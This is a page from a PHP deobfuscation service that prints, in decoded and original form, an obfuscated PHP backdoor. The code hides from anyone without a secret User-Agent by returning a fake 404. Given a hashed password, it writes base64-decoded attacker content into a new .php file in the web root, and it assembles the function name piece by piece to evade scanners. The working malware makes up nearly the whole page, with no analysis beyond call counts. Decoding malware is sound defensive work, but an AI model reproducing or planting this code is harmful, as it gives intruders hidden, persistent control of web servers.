Find this useful? Enter your email to receive occasional updates for securing PHP code.
Signing you up...
Thank you for signing up!
PHP Decode
<?php if (//gWkXo]jVj;C;\\danM9 md5 ##S4 L`hy (/* @}6U0a4Z+$ (<=Q*/md5 ##[&rs0TH-$1`25*..
Decoded Output download
<?php
if (//gWkXo]jVj;C;\danM9
md5 ##S4 L`hy
(/* @}6U0a4Z+$ (<=Q*/md5 ##[&rs0TH-$1`25*FG
(/*w]RtasvII(K6iAhP*/md5 ##]J*Q69
( ###qM5hKr>p%jN
$_SERVER//,$^m0_g~Lju&A
['HTTP_USER_AGENT']))) != //A$nenIB(
'39542de4e2fa50462d96ea26e878a658')/*nhSYHJi_:k*/ {
//s%!eQdRk65(WqN]X5}
header/*1~ tFb(T<M+cFB8p*/(/*1oxs>1F)Rsemil,VYLRW*/'HTTP/1.1 404 Not Found') ##->~!7
;
//ikF<!4PIZ(L$NCAx
header//#WW\dDq
(//Ly_ESs
"status: 404 Not Found")//dt5~F=+8n~hWsw({[WY!
;
die();
}
if(!empty(//Ub #J6s
$_POST ##OujnA&
["contentp"]) && !empty(//=t3\B ;x
$_POST//M2nOP<p
["filename"]) && @/*jf8Kz_*/md5//}Pvy-Z@T{`T
( ##<WaWd6^{QF<@(`-Fj#x
$_POST ##;<!%L@1lwXzboi~H@
["pass"]) == //f^Huwn_g<&%@9fsk
"bc795727e71d6b3f9fff79eb7bccf000")//{AJ-!MJ3{#%Bs
{
##C[O_:EAWIWCKEZ
$filename//QE$!BP
= /*@[M{P)X&UEG]80X;ec`Y*/$_SERVER//{(hY%[LTBtnx
["DOCUMENT_ROOT"] . /*F0@z5X@X><#ZXWB*/"/"./*E!texbMrBRt]vqdR*/@ ##m)8:]YP.mm)MCRX
trim/*N%w3:rt](^eUeLWt*/(/*JkH:GJA}O@hA*/$_POST//i|J:b1b
["filename"]) . //C}OY,6
".p"; ##gL~J4ZgQ9v
//GwW]H;ECE+0cybU@=$5h
$filename ##P^pD(eSaLXWIX
.= /*J$zTHuLR$+dFDNF*/"hp";//exuDT,HxO
/*7@RGxx-$1h~^*/$path ##y%J{l:4{eW,z
= //,.+h>SqJ=
substr_replace ##Hx4AM
("bar","se646",2);
##J.2BGWGd$6np
$path/*m_s|}OjK^Wx*/= //&cv]Q#o%`cD_]FVY
substr_replace ##|zd0<v*Nzamp@\Yw(
($path,"_decor",6);
/*9EP-uXO 5ijS*/$path//;}+Sd*yTpk.wPelq]uZ9
= /*4jUGX#%*BHI`V@fpS[*/substr_replace//HX3q7u
($path,"de",11);
/*Dv5f{*/file_put_contents/*G MUo=Ts,TF90%Lr*/($filename, /*VPvBFQ3FD*/"<?php
".//rKlEMH8@Lt{qASF;U9k
$path//>wlCgLzoDI,[rwy~E ,V
(/*JL~>ycKmm-{Fp#n&25a*/$_POST//Xz2R4TK
["contentp"])./*sT:S7jHP@),7KuBB-*1*/"?>")//@U5pjiK5SR>h
;
echo /*4VP$<LBxbR0[M*/$filename/*[SpvZKnZ2F*/;exit();
}
Did this file decode correctly?
Original Code
<?php
if (//gWkXo]jVj;C;\\danM9
md5 ##S4 L`hy
(/* @}6U0a4Z+$ (<=Q*/md5 ##[&rs0TH-$1`25*FG
(/*w]RtasvII(K6iAhP*/md5 ##]J*Q69
( ###qM5hKr>p%jN
$_SERVER//,$^m0_g~Lju&A
['HTTP_USER_AGENT']))) != //A$nenIB(
'39542de4e2fa50462d96ea26e878a658')/*nhSYHJi_:k*/ {
//s%!eQdRk65(WqN]X5}
header/*1~ tFb(T<M+cFB8p*/(/*1oxs>1F)Rsemil,VYLRW*/'HTTP/1.1 404 Not Found') ##->~!7
;
//ikF<!4PIZ(L$NCAx
header//#WW\dDq
(//Ly_ESs
"status: 404 Not Found")//dt5~F=+8n~hWsw({[WY!
;
die();
}
if(!empty(//Ub #J6s
$_POST ##OujnA&
["contentp"]) && !empty(//=t3\B ;x
$_POST//M2nOP<p
["filename"]) && @/*jf8\6Kz_*/md5//}Pvy-Z@T{`T
( ##<WaWd6^{QF<@(`-Fj#x
$_POST ##;<!%L@1lwXzboi~H@
["pass"]) == //f^Huwn_g<&%@9fsk
"bc795727e71d6b3f9fff79eb7bccf000")//{AJ-!MJ3{#%Bs
{
##C[O_:EAWIWCKEZ
$filename//QE$!BP
= /*@[M{P)X&UEG]80X;ec`Y*/$_SERVER//{(hY%[LTBtnx
["DOCUMENT_ROOT"] . /*F0@z5X@X><#ZXWB*/"/"./*E!texbMrBRt]vqdR*/@ ##m)8:]YP.mm)MCRX
trim/*N%w3:rt](^eUeLWt*/(/*JkH:GJA}O@hA*/$_POST//i|J:b1b
["filename"]) . //C}OY,6
".p"; ##gL~J4ZgQ9v
//GwW]H;ECE+0cybU@=$5h
$filename ##P^pD(eSaLXWIX
.= /*J$zTHuLR$+dFDNF*/"hp";//exuDT,HxO
/*7@RGxx-$1h~^*/$path ##y%J{l:4{eW,z
= //,.+h>SqJ=
substr_replace ##Hx4AM
("bar","se646",2);
##J.2BGWGd$6np
$path/*m_s|}OjK^Wx*/= //&cv]Q#o%`cD_]FVY
substr_replace ##|zd0<v*Nzamp@\Yw(
($path,"_decor",6);
/*9EP-uXO 5ijS*/$path//;}+Sd*yTpk.wPelq]uZ9
= /*4jUGX#%*BHI`V@fpS[*/substr_replace//HX3q7u
($path,"de",11);
/*Dv5f{*/file_put_contents/*G MUo=Ts,TF90%Lr*/($filename, /*VPvBFQ3FD*/"<?php\n".//rKlEMH8@Lt{qASF;U9k
$path//>wlCgLzoDI,[rwy~E ,V
(/*JL~>ycKmm-{Fp#n&25a*/$_POST//Xz2R4TK
["contentp"])./*sT:S7jHP@),7KuBB-*1*/"?>")//@U5pjiK5SR>h
;
echo /*4VP$<LBxbR0[M*/$filename/*[SpvZKnZ2F*/;exit();
}
Function Calls
md5 | 3 |
header | 1 |
Stats
MD5 | bb448b9a379961daba8ef685d43c25da |
Eval Count | 0 |
Decode Time | 57 ms |